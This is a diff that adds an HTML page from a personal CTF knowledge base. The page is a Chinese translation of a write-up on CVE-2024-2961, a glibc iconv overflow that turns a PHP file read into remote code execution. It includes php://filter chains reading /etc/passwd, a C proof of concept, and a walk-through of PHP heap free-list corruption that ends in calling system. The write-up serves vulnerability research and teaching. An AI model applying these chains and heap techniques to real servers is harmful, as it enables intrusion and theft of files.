+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html b/en/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html new file mode 100644 index 0000000..22cd77f --- /dev/null +++ b/en/docs/个人知识库/CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)/index.html @@ -0,0 +1,357 @@ + + + + + +01.PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961) | wjlin0 + + + + + + + +

01.PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:52:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:27:21
+

PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961

+

介绍​

+

几个月前,我偶然在 glibc(Linux 程序的基础库)中发现了一个已有 24 年历史的缓冲区溢出。尽管可以在多个知名库或可执行文件中访问,但它被证明很少可利用——虽然它没有提供太多的回旋余地,但它需要难以实现的先决条件。寻找目标主要会导致失望。然而,在PHP上,这个错误大放异彩,并被证明在以两种不同的方式利用其引擎方面很有用。

+

由于材料数量众多,该错误的影响和利用将记录在由三部分组成的系列中。在本系列的第一部分中,我将描述我是如何遇到这个错误的,为什么合适的目标很少见,最后深入研究 PHP 引擎,演示一种新的利用向量:在 PHP 应用程序中将文件读取原语转换为远程代码执行。

+

如果您不熟悉 Web 开发、PHP 或 PHP 引擎,请不要介意:我将在此过程中解释相关概念。

+

发现:一个关于过滤器的故事​

+

PHP 中的文件读取原语​

+

让我们首先介绍基础知识。假设在执行评估时,发现一个文件读取原语,如下所示:

+
echo file_get_contents($_GET['file']);
+

你能用它做什么?好吧,显然,读取文件。例如,您可以阅读 /etc/passwd 。但是 PHP 还允许您使用其他协议,例如 http:// 或 ftp:// .因此,您可以要求 PHP 为您获取 google 的首页,使用 http://google.com ;或从 FTP 服务器下载文件,使用 ftp://user:passwd@ftp.target.com/file.bin .但这还不是全部;PHP 还实现了自定义协议,例如 phar:// .

+

phar:// 允许您在 PHAR 存档中读取。PHAR 代表 PHP 存档,就像 JAR 代表 Java 存档一样。它是一组文件,例如:

+
    +
  • Source code 源代码
  • +
  • Resources 资源
  • +
  • Serialized metadata 序列化元数据
  • +
+

多年来,该协议一直是PHP的垮台,因为当您使用它访问PHAR文件时,其元数据会被反序列化。通常的 PHAR 攻击如下所示:

+
    +
  • 将 PHAR 存档上传到目标服务器(PHAR 文件非常多语言,因此您可以使它们看起来像图像、PDF 或任何东西,真的)
  • +
  • 使用文件读取原语访问 PHAR 文件,并使用 phar:///path/to/file.phar/test
  • +
  • 任意有效负载被反序列化
  • +
+

可以通过多种方式将反序列化转换为代码执行,但人们通常依赖于 PHP 上的首选反序列化工具 PHPGGC。

+

PHAR 攻击的影响怎么强调都不为过。自 2018 年创建以来,它们一直是在 PHP 目标上获得外壳的关键。但派对即将结束:

+
    +
  • +

    从 PHP 8.0(2020 年发布)开始, phar:// 不再反序列化元数据。(无论如何,他们都没有使用元数据,所以为什么要反序列化它)。这将完全杀死 PHAR 攻击。

    +
  • +
  • +

    大型应用程序(如Drupal或Magento)一直在禁用该协议 phar://

    +
  • +
  • +

    随着时间的流逝,反序列化将变得越来越难以利用:图书馆正在修补其反序列化链,而打字正在卷土重来,从而大大减少了反序列化路径。

    +
  • +
  • +

    但 phar:// 并不是唯一对攻击者有用的协议;另一个也产生了很好的结果: php://filter .

    +
  • +
+

PHP过滤器简介​

+

几年来,人们对另一种特定于 PHP 的协议产生了兴趣 php://filter (如果名称不明显的话)。它提供了一种在返回流之前将转换应用于流的方法。语法为:

+
php://filter/[filters...]/resource=[resource]
+

资源可以是我们在上一节中已经讨论过的任何内容:一个简单的文件、一个 HTTP 响应、一个来自 FTP 服务器的文件...... +筛选器是您希望 PHP 应用于流的转换列表。在这里,我们要求 PHP 使用 convert.base64-encode 过滤器将资源的内容转换为 base64:

+
php://filter/convert.base64-encode/resource=/etc/passwd
+

它返回:

+
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9u
b2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6
...
Yi92bnN0YXQ6L2Jpbi9mYWxzZQpyZWRpczp4OjEwMjoxMDM6cmVkaXM6L3Zhci9saWIvcmVkaXM6
L2Jpbi9mYWxzZQo=
您可以根据需要添加任意数量的过滤器。在这里,我要求 PHP 对流进行两次 base64 编码:
+
php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd
+

我得到:

+
Y205dmREcDRPakE2TURweWIyOTBPaTl5YjI5ME9pOWlhVzR2WVhOb0NtSnBianA0T2pFNk1UcGlh
...
RXdNam94TURNNmNtVmthWE02TDNaaGNpOXNhV0l2Y21Wa2FYTTZMMkpwYmk5bVlXeHpaUW89
+

显然,base64 编码并不是您唯一可以做的事情。有许多过滤器可用。它们包括:

+
    +
  • string.upper, which converts a string to uppercase +string.upper ,将字符串转换为大写
  • +
  • string.lower, which converts a string to lowercase +string.lower ,将字符串转换为小写
  • +
  • string.rot13, which does some BC crypto +string.rot13 ,它做了一些 BC 加密
  • +
  • convert.iconv.X.Y, which converts charset from X to Y +convert.iconv.X.Y ,这会将 charset 从 X 转换为 Y
  • +
+

让我们看一下最后一个过滤器: convert.iconv.X.Y .假设我需要将我的文件从 UTF8 转换为 UTF16。我可以使用:

+
php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd
它给出(十六进制形式):
+
00000000: fffe 7200 6f00 6f00 7400 3a00 7800 3a00  ..r.o.o.t.:.x.:.
00000010: 3000 3a00 3000 3a00 7200 6f00 6f00 7400 0.:.0.:.r.o.o.t.

...

00000a40: 2f00 6200 6900 6e00 2f00 6600 6100 6c00 /.b.i.n./.f.a.l.
00000a50: 7300 6500 0a00 s.e...
+

大量的过滤器和链接它们的可能性导致了对 PHP 的一些伟大研究,例如 here、here 或 here。事实上,使用精确选择的过滤器(过滤器链),攻击者可以做一些奇妙的事情,例如完全更改文件的内容,或者使用基于错误的预言机逐个提取其字节。

+

例如,这里有一个过滤器链,它预设 Hello world! 为 /etc/passwd :

+
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|
convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|
convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|
convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|
convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|
convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|
convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|
convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L5.UTF-32|
convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO2022KR.UTF16|
convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|
convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|
convert.iconv.855.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|
convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|
convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|
convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|
convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
+

结果:

+
Hello, world!!!root:x:0:0:root:/root:/bin/bash...
+

PHP 过滤器:前缀、后缀和 crash​

+

可悲的是,文件读取并不总是像以下那样容易:

+
echo file_get_contents($_POST['file']);
+

通常,文件不会按原样返回,但会以某种方式对其进行解析或检查。举个例子,我经常遇到这段代码的变体,它要求你的文件是有效的 JSON:

+
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
+

我们在这里读取了一个文件,但内容随后被 JSON 反序列化,并且只返回文档的一部分。为了读取标准文件,例如 /etc/passwd ,我们需要向流添加任意前缀和后缀。像这样: {"message": "<contents-of-/etc/passwd>"} .在 2023 年底,情况是您可以使用 php://filter 链为流添加前缀,但不能添加后缀。因此,我开始研究一种算法来做后者。

+

当时,我对字符集或编码一无所知(老实说,我仍然不知道其中的区别)。首先,我构建了一个暴力破解脚本,该脚本将几个 iconv 过滤器堆叠在一起,并显示结果。像这样:

+
php://filter/convert.iconv.A.B/convert.iconv.C.D/convert.iconv.E.F/resource=data:,test123
+

在某个时候,我的“模糊器”崩溃了。 +我一生中大部分时间都在与PHP打交道,我很快就指手画脚。但我不知道的是,这个错误在调用链中的位置要低得多:一直到glibc。

+

注意:该研究产生了一个于 2023 年 12 月发布的工具:wrapwrap.。

+

Glibc 中存在一个错误CVE-2024-2961​

+

The iconv() API​

+

当PHP从一个字符集转换为另一个字符集时,它使用iconv,这是一个API,“使用转换描述符将输入缓冲区中的字符转换为输出缓冲区”。在 Linux 上,此 API 由 glibc 实现。

+

API 非常简单。首先打开一个转换描述符,该描述符指示输入和输出字符集。

+
iconv_t iconv_open(const char *tocode, const char *fromcode);
+

然后,您可以使用 iconv() 将输入缓冲区 inbuf 转换为输出缓冲区中 outbuf 的新字符集。

+
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);
+

缓冲区管理由调用方负责。如果输出缓冲区不够大, iconv() 将返回一个错误,指示如此,您将能够通过再次调用 iconv() 重新分配 outbuf 并继续转换。该函数保证的是,它永远不会从 inbuf 中读取超过 inbytesleft 字节的字节数,也不会向 outbuf 写入超过 outbytesleft 字节数的字节数。从不?好吧,理论上......

+

转换为 ISO-2022-CN-EXT 时出界写入​

+

碰巧的是,在将数据转换为 ISO-2022-CN-EXT 字符集时,iconv 可能无法在写入输出缓冲区之前检查输出缓冲区中是否有足够的空间。

+

实际上, ISO-2022-CN-EXT 它实际上是一个字符集的集合:当它需要对字符进行编码时,它会选择适当的字符集,并发出一个转义序列,指示解码器需要切换到这样的字符集。

+

下面的代码是负责发出此类转义序列的部分。它由 3 if 个块组成,每个块将不同的转义序列写入 outbuf (指向)。 outptr 如果你看一下第一个 [1] ,你可以看到它以另一个 if() 块为前缀,该块检查输出缓冲区是否足够大以容纳 4 个字符。另外两个 if() [2][3] 则没有。因此,转义序列可能会被写入越界。

+
// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;

if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}

assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS3_ann) | (used << 8);
}
}
+

要触发 bug,我们需要在输出缓冲区结束之前强制 iconv() 发出转义序列。为此,我们可以使用外来字符,例如: 劄 、 䂚 或 峛 湿 。结果是 1 到 3 个字节的溢出,其值如下:

+
    +
  • $*H [24 2A 48]
  • +
  • $+I [24 2B 49]
  • +
  • $+J [24 2B 4A]
  • +
  • $+K [24 2B 4B]
  • +
  • $+L [24 2B 4C]
  • +
  • $+M [24 2B 4D]
  • +
+

快速POC 演示了该错误:

+
/*
$ gcc -o poc ./poc.c && ./poc
*/
...

void hexdump(void *ptr, int buflen)
{
...
}

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x10] = "AAAAA劄";
char output[0x10] = {0};

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer: 8 bytes
size_t sinput = strlen(input);
size_t soutput = sinput;

iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\n", soutput);

hexdump(output, 0x10);
}
+

这在易受攻击的系统上产生:

+
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAA A.$* H... ....
+

已经写了九个字节,尽管告诉 iconv() 最多写八个字节。

+

Checking the commit history, I noticed that the bug was very old: it appeared in year 2000, making it 24 years old. +检查提交历史记录,我注意到这个错误非常古老:它出现在 2000 年,距今已有 24 年的历史。 +现在,这个错误可以做什么?

+

条件和原始​

+

有了这个漏洞,我有一个 1 到 3 个字节的溢出,其中包含非受控字符。这并不多。除此之外,还有先决条件。我需要找到一个电话, iconv() 其中我:

+
    +
  • controlled the output charset (ISO-2022-CN-EXT) +控制输出字符集 ( ISO-2022-CN-EXT )
  • +
  • controlled part of the input buffer (to put in the beautiful chinese characters) +输入缓冲区的受控部分(输入漂亮的汉字)
  • +
+

考虑到这一点,我开始寻找目标。从在我的 /lib 目录 /bin iconv 中学习到迭代数百个 OSS 项目,我发现了一些有趣的目标。实际上没有一个是可利用的。 +举个例子,让我们看一个非常有前途的目标: libxml2 .

+

libxml2:字节的海洋​

+

libxml2 仅处理 UTF-8 格式的 XML。如果 XML 文档不是 UTF-8,它将被转换为它,然后进行处理,然后在完成所有操作后转换回其原始字符集。转换是使用 iconv() .

+

因此,我们可以通过这样的文件满足我们的先决条件:

+
<?xml version="1.0" encoding="ISO-2022-CN-EXT"?>
<root>&21124;</root>
+

注意:21124 是 劄 的 unicode 代码位。

+

现在,请记住:缓冲区管理是调用方的责任。当用于 iconv() 将我们的文档转换回其原始字符集时 libxml2 ,它会分配一个输出缓冲区,该缓冲区是输入缓冲区(代码)的 4 倍。对我们来说太大了:我们无法达到缓冲区的边界以溢出。死胡同。

+

pkexec:4 个字节太多了​

+

另一个有趣的目标是 pkexec,一个存在于许多 linux 发行版中的 setuid 二进制文件。二进制文件允许您通过设置 CHARSET 环境变量来为其输出的每条消息选择字符集。例:

+
$ CHARSET=ISO-2022-CN-EXT pkexec 'trigger劄' 2>&1 | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 43 61 6e 6e 6f 74 20 72 ┊ 75 6e 20 70 72 6f 67 72 │Cannot r┊un progr│
│00000010│ 61 6d 20 74 72 69 67 67 ┊ 65 72 1b 24 2a 48 1b 4e │am trigg┊er•$*H•N│
│00000020│ 4c 61 0f 3a 20 4e 6f 20 ┊ 73 75 63 68 20 66 69 6c │La•: No ┊such fil│
│00000030│ 65 20 6f 72 20 64 69 72 ┊ 65 63 74 6f 72 79 0a │e or dir┊ectory_ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
+

在内部, pkexec 使用 输出 GLib 其消息。它执行以下操作:

+
#define NUL_TERMINATOR_LENGTH 4

outbuf_size = len + NUL_TERMINATOR_LENGTH;

outbytes_remaining = outbuf_size - NUL_TERMINATOR_LENGTH;
outp = dest = g_malloc (outbuf_size);

...

err = g_iconv (converter, NULL, &inbytes_remaining, &outp, &outbytes_remaining);
+

虽然它分配了 N + 4 字节的缓冲区,但它只告诉 iconv 关于 N 个字节。我们的溢出最多有 3 个字节长。因此,无论我们多么努力,我们都无法到达缓冲区之外。

+

另一个死胡同。

+

条件和基元(已更新)​

+

满怀失望,我只能更新我的要求清单。要利用此漏洞,我们需要:

+
    +
  • 控制输出字符集 ( ISO-2022-CN-EXT )
  • +
  • 输入缓冲器的控制部分
  • +
  • 具有合适的输出缓冲器
  • +
+

利用PHP过滤器​

+

即使找了几天,我也没有找到一个有效的目标。盲目地在库和二进制文件中寻找 iconv() 调用,浏览开源生态系统,寻找该错误的可触发实例,我拼命寻找崩溃。一。崩溃。无济于事。

+

为了重新燃起希望,我又回到了PHP:毕竟,它确实崩溃了,我甚至没有要求它。

+

目标很简单:将无聊的文件读取漏洞转换为远程代码执行。

+

PHP堆的入门​

+

注意:在本节中,以及在描述PHP内部结构的每个部分中,我将进行近似值并忽略某些内容。

+

为了达到这个目的,我们需要了解PHP堆是如何工作的(至少是其中的一部分)。别担心,这是一个非常简单的堆。

+

要使用 PHP 进行分配,请使用 ,将 与 N 一起使用 emalloc(N) 所需的字节数。您将返回指向至少可以存储 N 个字节的块(内存块)的指针。完成块后,使用 efree(ptr) .PHP 有各种大小的块(8、0x10、0x18、...0x200,0x280,......

+

PHP 堆由一个 2MB 的区域组成,分为 512 页,每页 0x1000 字节。每个页面可能包含特定大小的块。例如,第 10 页可能包含大小为 0x100 的块、第 11 页大小为 0x38 的块、第 12 页大小为 0x180 的块等。块之间没有元数据。

+

当您释放一个块时,它会被放在一个称为释放列表的单向链表的开头。每个块大小都有一个免费列表。例如,如果我要释放大小为 0x38 块,它将进入大小为 0x38 块的可用列表中。如果我释放了一大块大小0x200,它就会进入大块0x200的免费列表中......

+

为了分配 N 个字节,PHP 会查看可用列表中的相应块大小,取出磁头并返回它。如果可用列表为空(即所有可用的块都已分配),PHP 会查看堆元数据以查找未使用的页面。然后,它会在这样的页面中创建空块,并将它们放在空闲列表中。

+

免费列表是后进先出,这意味着当我释放一定大小的块时,它将成为免费列表的头部。当我分配时,头部被取出。这与 glibc 的 tcache 非常相似,但不受限制。

+

imgPHP 堆的可视化表示

+

在上面的示例中,我们在左侧有一个堆的可视化表示。它包含 512 页,此处第 5 页存储了大小为 0x400 的块。如果我们看一下这个页面的内容,我们可以看到它包含 4 个块(因为 4 × 0x400 = 0x1000,一个页面的大小)。在这里,分配了块 #1 和 #3,并释放了块 #2 和 #4。因此,它们在大小为 0x400 块的免费列表中。

+

空闲列表是一个单链表,每个未分配的块都包含指向下一个空闲块的指针作为其前 8 个字节。这就是我们在块 #2 中看到的:指向 0x7ff10201400 的指针,这是大小为 0x400 的下一个空闲块的地址。现在,如果我们要从块 #1 溢出到块 #2,我们将覆盖此指针。这是一个很好的漏洞利用起点:即使有一个字节的溢出,我们也可以更改一个空闲列表指针,从而改变空闲列表。

+

应该注意的是,PHP为每个HTTP请求创建一个新堆。这是使远程 PHP 开发变得困难的原因之一——但这将在第 2 部分中介绍。

+

PHP 过滤器内部​

+

现在我们知道了 PHP 是如何分配和取消分配的,我们可以看看 PHP 如何处理 php://filter/ 字符串。我们很幸运:我们不需要深入了解内部 PHP 结构的细节,例如 zval 、 zend_string 、 zend_array 等。

+

为了处理过滤器,PHP 将首先获取流(即读取资源)。它将流存储在存储桶的集合中,这些存储桶是双链接结构,每个存储桶都包含一定大小的缓冲区。按照我们的 /etc/passwd 示例,我们可能有 3 个存储桶:第一个存储桶可能包含文件的前 5 个字节,第二个存储桶包含 30 多个字节,第三个存储桶包含 1000 个字节。它们联系在一起,构成了一个水桶旅。

+

img一个由 3 个铲斗组成的铲斗大队,其中包含 /etc/passwd

+

这是将流表示为各种大小的缓冲区集合的标准方法。您可以将其想象为通过网络接收的数据包列表。数据包 1 包含前 N 个字节的数据,数据包 2 包含接下来的 M 个字节,依此类推。

+

现在,PHP 已经将资源的内容读入流中,由存储桶旅表示,它可以对其应用过滤器。它采用第一个筛选器,并处理第一个存储桶。为此,它会分配一个与存储桶缓冲区大小相同的输出缓冲区(在我们的示例中为 5 个字节),并进行转换。例如,如果筛选器是 string.upper ,它会将输入缓冲区中的每个小写字符转换为输出缓冲区中的大写字符。然后,它可以创建一个指向此缓冲区的新存储桶。

+

img申请 string.upper 水桶大队

+

然后,它处理存储桶 2,然后处理存储桶 3,依此类推,直到到达最后一个存储桶。现在,它有一个包含每个输出桶的新铲斗旅。它现在可以将第二个过滤器应用到这个旅上,并继续前进,直到处理完最后一个过滤器。

+

情况和目标​

+

我们已经完成了定义。让我们回到我们最初的漏洞:文件读取。

+
echo file_get_contents($_GET['file']);
+

现在,我们可以使用 convert.iconv.XXX.ISO-2022-CN-EXT 过滤器触发内存损坏,我们需要远程执行代码。而且它看起来并不难利用。

+

首先,由于我们有一个文件读取原语,我们可以读取二进制文件(PHP、Apache 等)。我们甚至可以下载libc并检查它是否已修补!我们也不关心 ASLR 和 PIE:我们可以阅读 /proc/self/maps .最后,感觉我们几乎可以使用存储桶任意分配或解除分配缓冲区,这很方便。

+

另一方面,在许多情况下,你可以让文件读取原语:你可能在运行在 PHP 7.0 上的 Symfony 4.x 上,或者在 PHP 8.3 上运行的晦涩的 Wordpress 插件中,甚至在黑盒评估期间。理想的漏洞利用需要具有弹性:它必须针对大多数目标,无需任何调整。

+

开发​

+

考虑到所有这些,让我们开始开发。这个想法是使用单字节缓冲区溢出来修改指向可用块的指针的 LSB,以便控制一些可用列表。

+

单桶​

+

我们面临的第一个问题是,尽管有 bucket brigade 技术,但 PHP 只创建一个 bucket。如果您读取一个文件,您将获得一个包含整个文件的存储桶。如果您请求 HTTP URL,PHP 将创建一个包含整个 HTTP 响应的存储桶。和 ftp:// ,一个桶。至少可以说,这是非常不切实际的:我们不能使用水桶来填充堆,喷洒东西,甚至使用更改后的免费列表。

+

想一想:使用单个存储桶,我们可以溢出到一个空闲区块中并修改一个空闲列表,但是我们没有了存储桶,我们至少需要 2 个分配才能使用我们更改的空闲列表!

+

幸运的是,有一种过滤器可以挽救这一天: zlib.inflate .这个过滤器会获取我们的流并对其进行解压缩。为此,它分配了一个 8 页(0x8000 字节)的缓冲区,并将我们的流膨胀到其中。如果它不够大,它会创建一个相同大小的新缓冲区来存储其余数据。如果这两者仍然不够,它会创建另一个缓冲区。然后将每个缓冲区添加到存储桶中。完美:我们可以使用这个过滤器来创建任意数量的存储桶,这是向前迈出的一大步。

+

img

+

申请 zlib.inflate 创建多个存储桶

+

但是,这些存储桶具有大小为 0x8000 的缓冲区,这不是一个很好的利用大小;缓冲 这些大小的分配方式与我告诉你的方式不同,并且在释放时不会进入可用列表。我们需要调整存储桶的大小。

+

正确拆解​

+

为此,我们将使用一个 PHP 未记录但攻击者所熟知的过滤器: dechunk .此筛选器解码 HTTP 分块编码的字符串。

+

HTTP-chunked 是一种非常简单的编码,您可以在其中按块(不是堆块,数据块)发送数据。首先,发送一个大小为 ASCII-hex,后跟一个换行符,然后是相应大小的数据块,后跟一个换行符。然后,发送另一个大小、另一个块、另一个大小、另一个块,并通过发送大小 0(零)来指示数据的结束。

+

img

+

使用 HTTP 分块编码编码的数据

+

在此示例中,第一个块长 8 个字节,第二个块长 17 个字节 (11h),最后一个块长 13 个字节。在 ing 之后 dechunk ,结果将是: This is how the chunked encoding works 。

+

使用此过滤器,调整存储桶的大小听起来像是儿戏:在每个存储桶中,我们以所需的大小为数据添加前缀(例如,第一个存储桶为 0x148,第二个存储桶为 0x100 等),然后放置数据,然后最后一个 0 表示我们完成了。

+

img

+

设置存储 dechunk 桶*

+

它看起来不错,但它不起作用。虽然是单独处理的,但存储桶不是独立的:它们都被解析为一个大流。 dechunk 当筛选器处理流时,它会读取第一个存储桶 0x148 中的大小,取出 0x148 个字节,然后读取大小为零,这会导致它停止解析。它不会进入第二个桶。它只是完全停止解析。我们操作的最终结果是,我们从几个桶(好)回到了一个桶(坏)。

+

幸运的是,找到一种方法来规避这一点并不难:在每个存储桶中,我们提供一种大小和一个数据块。为此,我们不是天真地写一个大小,而是用数千个零填充它,以便得到这样的东西:

+

img

+

正确设置存储 dechunk 桶

+

现在,在处理存储桶 1 后,dehunk 解析器跳转到存储桶 2,准备读取新大小,然后跳转到存储桶 3,依此类推。它有效!现在,我们可以创建任意数量的存储桶,并具有所需的大小。我们已经取得了巨大的飞跃。

+

免费列表控制:写什么就写什么​

+

我们现在的目标是通过覆盖值为 48h( H 在 ASCII 中)的某个指针的 LSB 来更改一些空闲列表。为了无条件地获得相同的效果,我们以大小为 0x100 的块为目标,因为块地址的 LSB 始终为零。这意味着溢出的效果始终相同:将0x48添加到块指针。

+

为了利用,我们遵循一个非常标准的 6 个步骤。我们将大小为 0x100 块的免费列表命名为 FL[0x100] 。

+

img* FL[0x100] 控制 FL[0x100]*

+

考虑到我们已经设法通过分配大量0x100块来填充堆。因此,在内存的某个地方,我们有三个连续的自由块 A 、 B 和 C , A 并且是 的 FL[100] 。 A 指向 B ,而 指向 C 。我们可以分配其中的 3 个(第 2 步),然后再次释放它们(第 3 步)。在这一点上,免费列表是相反的:我们有 C → B → A 。然后我们再次分配,但这次我们在偏移 48h 量处 C 放置一个任意指针 0x1122334455 (步骤 4)。我们再次释放它们(步骤 5),并获得与步骤 1 完全相同的状态,但这次略有不同:在 C+48h ,我们有一个任意指针。我们现在可以从 块 A 执行溢出,这会移动包含在 中的 B 指针。它现在指向 C+48h ,因此,免费列表现在 B C+48h →→ 0x1122334455 。再分配 3 个,我们可以在任意地址进行 PHP 分配。

+

我们现在有一个写什么的地方;这快结束了。

+

但是,让我回到漏洞利用的实现上来。在这里描述的各个步骤中,我们有分配然后释放的块。但是我们无法真正摆脱水桶:我们只能改变它们的大小。但是,我们只对大小0x100块感兴趣。就好像其他块不存在一样。因此,我将每个存储桶构建为一个 HTTP 分块的俄罗斯娃娃:

+

img +一个水桶的俄罗斯娃娃:它的大小在每个 dechunk 桶上都变化*

+

对于漏洞利用的每个步骤, dechunk 都会调用过滤器:因此,每个存储桶的大小都会发生变化。有些尺寸变0x100,从而在剥削中“出现”,有些变小,从而消失。它为我们提供了一种完美的方式,让水桶在特定时刻实现,并在我们不再需要它们时将它们扔掉。

+

说完这些,让我们开始执行代码。

+

代码执行​

+

虽然我们通过阅读 /proc/self/maps 来查看内存区域,但我们并不确切地知道我们在堆中的位置。幸运的是,我们可以通过找到PHP的堆来完全忽略这个问题。由于其对齐方式 (~0x1fffff) 和大小 (2MB),它很容易识别。在它的顶部驻留着一个 zend_mm_heap 结构,其中包含非常有用的字段:

+
struct _zend_mm_heap {
...
int use_custom_heap;
...
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
...
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
} custom_heap;
};
+

首先,它包含所有免费列表。通过覆盖空闲列表,我们得到了任意数量的任意大小的写入内容。我们可以用它们来覆盖最后一个字段 custom_heap ,该字段包含 emalloc() 和 efree() 的 erealloc() 替代函数(类似于 glibc 中的 __malloc_hook 及其同级函数)。然后,我们设置为 use_custom_heap 1 ,并调用 free() 一个存储桶,为我们提供一个带有受控参数的任意函数调用。由于我们可以使用文件读取访问二进制文件,因此我们可以构建花哨的 ROP 链,但我们想要尽可能通用的东西;因此,我设置为 custom_heap._free system ,允许我们以 CTF 方式运行任意 bash 命令。

+

注意:我遗漏了一些(许多)关于漏洞利用的细节,但对漏洞进行了大量评论。

+

利用性能​

+

